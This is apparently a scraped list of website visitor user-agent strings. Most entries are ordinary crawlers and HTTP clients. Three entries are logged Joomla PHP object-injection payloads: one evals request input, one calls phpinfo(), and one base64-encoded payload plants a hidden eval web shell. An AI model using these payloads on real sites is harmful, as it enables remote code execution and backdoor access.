CCBot/2.0 (http://commoncrawl.org/faq/)

Mediapartners-Google

TelegramBot (like TwitterBot)

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)

Mozilla/5.0 (compatible; SemrushBot/1.2~bl; +http://www.semrush.com/bot.html)

Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Mozilla/5.0 (compatible; linkdexbot/2.0; +http://www.linkdex.com/bots/)

Mozilla/5.0 (compatible; SiteExplorer/1.1b; +http://siteexplorer.info/Backlink-Checker-Spider/)

python-requests/2.7.0 CPython/2.7.9 Linux/3.16.0-4-686-pae

Microsoft-WebDAV-MiniRedir/6.1.7601

SEMrushBot

ia_archiver

Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Fast/2.0; +http://go.mail.ru/help/robots)

Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html)

python-requests/2.7.0 CPython/2.7.9 Linux/3.16.0-4-amd64

Dispatch/0.11.3

Mozilla/5.0 (compatible; StatOnlineRuBot/1.0)

}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}𝌆

Mozilla/5.0 (compatible; LinkpadBot/1.12; +http://www.linkpad.ru)

ozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)

Googlebot-Image/1.0

msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)

Wget/1.15 (linux-gnu)

facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)

Jigsaw/2.3.0 W3C_CSS_Validator_JFouffa/2.0 (See <http://validator.w3.org/services>)

Digincore crawler bot. See https://www.digincore.com/crawler.html for rules and instructions.

python-requests/2.12.4

Go-http-client/1.1

Mozilla/5.0 (compatible; Dataprovider.com;)

Mozilla/5.0 (compatible; Cliqzbot/1.0; +http://cliqz.com/company/cliqzbot)

a.pr-cy.ru

Stratagems Kumo

Mozilla/5.0 (compatible; U; DataMiner/3.14; +http://promoheads.com)

Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}𝌆

Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Mozilla/5.0 (compatible; YandexBlogs/0.99; robot; B; +http://yandex.com/bots)0 readers

the beast

Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)

Mozilla/5.0 (compatible; U; DataMiner/3.14; +http://ramillion.com)

Lynx/2.8.8dev.3 libwww-FM/2.14 SSL-MM/1.4.1

curl/7.35.0

curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2

curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.14.0.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2

Mozilla/5.0 (compatible; Googlebot/2.1 +http://www.googlebot.com/bot.html)

Mozilla/5.0 (compatible; Cliqzbot/1.0 +http://cliqz.com/company/cliqzbot)

MT6735_TD/V1 Linux/3.18.19+ Android/6.0 Release/10.10.2015 Browser/AppleWebKit537.36 Chrome/44.0.2403.119 Mobile Safari/537.36 System/Android 6.0;

Mozilla/5.0 (compatible; memoryBot/1.24.61 +http://internetmemory.org/en/)

Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html)

Go 1.1 package http

Mozilla/5.0 (compatible; U; AnyEvent-HTTP/2.23; +http://software.schmorp.de/pkg/AnyEvent)

Mozilla/5.0 (compatible; DomainAppender /1.0; +http://www.profound.net/domainappender)

spiderman

Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Python-urllib/2.6

CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)

Mozilla/5.0 (compatible; SemrushBot/1.1~bl; +http://www.semrush.com/bot.html)

W3C_Validator/1.3 http://validator.w3.org/services

facebookexternalhit/1.1

Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)

Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)

Mozilla/5.0 (compatible; linkdexbot/2.2; +http://www.linkdex.com/bots/)

ANG2/154 CFNetwork/758.5.3 Darwin/15.6.0

UCWEB/2.0 (MIDP-2.0; U; Adr 4.1.2; ru; MediaPad_7_Lite_II) U2/1.0.0 UCBrowser/10.7.9.856 U2/1.0.0 Mobile

}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:168:"eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nLy5pbmRleC5waHAnLCc8P3BocCBAZXZhbCgkX1JFUVVFU1RbeG9dKTsnKTs));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}𝌆